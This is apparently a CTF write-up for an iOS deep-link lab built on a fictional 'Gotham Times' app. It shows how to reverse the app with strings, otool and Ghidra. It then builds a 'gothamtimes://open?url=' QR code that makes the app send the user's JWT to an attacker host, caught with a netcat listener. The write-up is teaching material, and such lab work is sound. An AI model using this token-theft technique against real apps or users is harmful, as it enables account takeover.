Description: Welcome to the iOS Application Security Lab: Deeplink Exploitation Challenge. The challenge is built around the fictional newspaper Gotham Times, an iOS application providing users with the latest news and updates about events happening in Gotham City. This challenge focuses on the potential vulnerabilities in the deep link feature, emphasizing how attackers can exploit it to gain unauthorized access to sensitive information, particularly authentication tokens. As an attacker, your goal is to craft an exploit that can be used to steal user’s authentication token.

Install an IPA file can be difficult.
So, for make it more easy, I made a YouTube video with the process using Sideloadly.
LINK: https://www.youtube.com/watch?v=YPpo9owRKGE
NOTE: If you have problems with the keyboard and UI (buttons) when you need to hide it on a physical device, you can fix this problem by using the KeyboardTools
by @CrazyMind90
found in the Sileo app store.
Once you have the app installed, let’s proceed with the challenge.
unzip the .ipa
file.
Let’s examine the Info.plist
file.
cd Payload/Gotham\ Times.app && plutil -convert xml1 Info.plist && cat Info.plist
We can find this URL Scheme (CFBundleURLSchemes
)
CFBundleTypeRole
Viewer
CFBundleURLName
com.mobilehackinglab.Gotham-Times
CFBundleURLSchemes
gothamtimes
So, let’s analyze if we can found some interesting functions or some related
strings "Gotham Times" | grep -iE "token|openURL|auth|gothamtimes"
Output:
ySo16UIOpenURLContextC_G
JWTToken
token
Authorization
gothamtimes
v40@0:8@"WKWebView"16@"NSURLAuthenticationChallenge"24@?32
v40@0:8@"WKWebView"16@"NSURLAuthenticationChallenge"24@?32
openURL:options:completionHandler:
webView:didReceiveAuthenticationChallenge:completionHandler:
webView:authenticationChallenge:shouldAllowDeprecatedTLS:
application:handleOpenURL:
application:openURL:sourceApplication:annotation:
application:openURL:options:
application:didRegisterForRemoteNotificationsWithDeviceToken:
applicationShouldRequestHealthAuthorization:
scene:openURLContexts:
Now, we can use otool for decompile and inspect better these functions
otool -tv 'Gotham Times' | grep -iE "token|openURL|auth|gothamtimes"
Output:
_$s12Gotham_Times12saveJWTToken5tokenySS_tF:
0000000100008190 add x0, x0, #0x370 ; literal pool for: "JWTToken"
_$s12Gotham_Times11getJWTTokenSDyS2SGSgyF:
000000010000877c add x0, x0, #0x370 ; literal pool for: "JWTToken"
_$s12Gotham_Times20authenticatedRequest3url10Foundation10URLRequestVSS_tF:
0000000100009908 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
0000000100009a18 add x0, x0, #0x3f4 ; literal pool for: "token"
0000000100009c00 add x0, x0, #0x4d8 ; literal pool for: "Authorization"
000000010000a618 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000ade0 add x0, x0, #0x3f4 ; literal pool for: "token"
000000010000b914 add x0, x0, #0x4d8 ; literal pool for: "Authorization"
000000010000ba28 add x0, x0, #0x3f4 ; literal pool for: "token"
000000010000bdd4 add x0, x0, #0x4eb ; literal pool for: "gothamtimes"
000000010000d554 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000d800 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000eca4 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010000fcbc bl _$s12Gotham_Times20authenticatedRequest3url10Foundation10URLRequestVSS_tF
0000000100010fd4 bl _$s12Gotham_Times12saveJWTToken5tokenySS_tF
0000000100011414 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
00000001000115fc bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
0000000100011878 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
00000001000125c0 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
00000001000154c0 bl _$s12Gotham_Times12saveJWTToken5tokenySS_tF
0000000100015904 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
0000000100015ba4 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
_$s12Gotham_Times13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF:
0000000100019284 bl _$sSo16UIOpenURLContextCMa
000000010001928c bl _$sSo16UIOpenURLContextCSo8NSObjectCSH10ObjectiveCWl
0000000100019aa8 bl _$sSh8IteratorVySo16UIOpenURLContextC_GWOh
_$sSo16UIOpenURLContextCMa:
_$sSo16UIOpenURLContextCSo8NSObjectCSH10ObjectiveCWl:
0000000100019b64 bl _$sSo16UIOpenURLContextCMa
_$sSh8IteratorVySo16UIOpenURLContextC_GWOh:
_$s12Gotham_Times13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtFTo:
0000000100019dc4 bl _$sSo16UIOpenURLContextCMa
0000000100019dcc bl _$sSo16UIOpenURLContextCSo8NSObjectCSH10ObjectiveCWl
0000000100019dec bl _$s12Gotham_Times13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF
000000010001a3d8 bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010001c898 bl _$s12Gotham_Times12saveJWTToken5tokenySS_tF
000000010001d3dc bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
000000010001d67c bl _$s12Gotham_Times11getJWTTokenSDyS2SGSgyF
Now that we know better the functions names we can use Ghidra for an deep understanding of the application behavior.
Our interested class is_TtC12Gotham_Times13SceneDelegate
Where we have the functionvoid _TtC12Gotham_Times13SceneDelegate::scene:openURLContexts:
void _TtC12Gotham_Times13SceneDelegate::scene:openURLContexts:(ID param_1, SEL param_2, ID param_3, ID param_4)
{
Set openURLContexts;
_objc_retain();
_objc_retain(param_4);
_objc_retain(param_1);
__C::UIOpenURLContext::typeMetadataAccessor();
__C::UIOpenURLContext::$lazy_protocol_witness_table_accessor();
openURLContexts = (extension_Foundation)::Swift::Set::$_unconditionallyBridgeFromObjectiveC();
Gotham_Times::SceneDelegate::scene((SceneDelegate *)param_1, (UIScene *)param_3, (Set<>)openURLContexts.unknown);
_swift_bridgeObjectRelease(openURLContexts.unknown);
_objc_release(param_4);
_objc_release(param_1);
_objc_release(param_3);
return;
}
This call to Gotham_Times::SceneDelegate::scene
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar11);
local_250 = *(code **)(local_198 + 0x10);
iVar20 = local_168;
(*local_250)(UVar13.unknown, local_168, local_1a0);
Foundation::URL::$get_host(UVar13);
local_248 = *(code **)(local_198 + 8);
local_238 = UVar13.unknown;
local_230 = iVar20;
(*local_248)(local_178, local_1a0);
(*local_248)(local_168, local_1a0);
_swift_bridgeObjectRetain(local_230);
SVar26 = Swift::String::init("open", 4, 1);
local_228 = (char *)SVar26.bridgeObject;
local_240 = SVar26.str;
_swift_bridgeObjectRetain();
local_d0 = local_238;
local_c8 = local_230;
local_c0 = local_240;
local_b8 = local_228;
if (local_230 == 0) {
if (local_228 != (char *)0x0)
goto LAB_1000195a4;
$outlined_destroy_of_Swift.String?(&local_d0);
local_2a4 = 1;
} else {
$outlined_init_with_copy_of_Swift.String?(&local_d0, &local_140);
if (local_b8 == (char *)0x0) {
$outlined_destroy_of_Swift.String(&local_140);
LAB_1000195a4:
$outlined_destroy_of_(Swift.String?, Swift.String?)(&local_d0);
local_2a4 = 0;
} else {
local_2d0 = local_140;
local_2b8 = local_138;
_swift_bridgeObjectRetain();
local_2c8 = local_c0;
local_2b0 = &local_d0;
local_2c0 = local_b8;
_swift_bridgeObjectRetain();
SVar2.bridgeObject = local_2c0;
SVar2.str = local_2c8;
SVar27.bridgeObject = local_2b8;
SVar27.str = local_2d0;
SVar28.bridgeObject = in_x5;
SVar28.str = pcVar12;
pcVar22 = local_2c0;
bVar6 = Swift::String::==_infix(SVar27, SVar2, SVar28);
local_2a8 = (dword)CONCAT71(extraout_var, bVar6);
_swift_bridgeObjectRelease(local_2c0);
_swift_bridgeObjectRelease(local_2b8);
_swift_bridgeObjectRelease(local_2c0);
_swift_bridgeObjectRelease(local_2b8);
$outlined_destroy_of_Swift.String?(local_2b0);
local_2a4 = local_2a8;
}
}
local_2d4 = local_2a4;
_swift_bridgeObjectRelease(local_228);
_swift_bridgeObjectRelease(local_230);
_objc_release(local_258);
UVar13.unknown = local_188;
if ((local_2d4 & 1) != 0) {
UVar11.unknown = local_260;
_objc_msgSend(local_260, "URL");
_objc_retainAutoreleasedReturnValue();
local_2f0 = UVar11.unknown;
}
Where
- The URL parameter is obtained from
UIOpenURLContext:
_objc_msgSend(local_260, "URL");
_objc_retainAutoreleasedReturnValue();
- Then, the URL is transformed with:
Foundation::URL::$_unconditionallyBridgeFromObjectiveC(UVar11);
- Finally, the complete chain is obtained with:
SVar26 = Foundation::URL::get_absoluteString(UVar13);
- You are getting the host of the URL with:
Foundation::URL::$get_host(UVar13);
So, the deeplink looks like gothamtimes://open?URL=
This could lead to an Open Redirect or Arbitrary URL load into Application where we can theft data (i.e. token).
We just need create an account, login, and then, open a browser or generate a QR code with the app running, then, go to any URL likegothamtimes://open?URL=http://192.168.1.75:8080
qrencode "gothamtimes://open?url=http://192.168.1.75:8080" -o QR.png
Setup the nc
nc -nlv 8080
Scan the QR code and intercept the request with burpsuite and you’ll get the flag and token (or in your nc session)
GET / HTTP/1.1
Host: 192.168.1.75:8080
Connection: keep-alive
flag: FLAG{d33ply-l1nk3d(t0-w3bk1t}
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_10 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImxhdXRhcm8iLCJpYXQiOjE3MzkxNDMwNzd9.X4gJnMic930UZe3w94TCx7xzYs0mw17Fqg_AHM2F7VY
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate, br
I hope you found it useful (:
Leave a Reply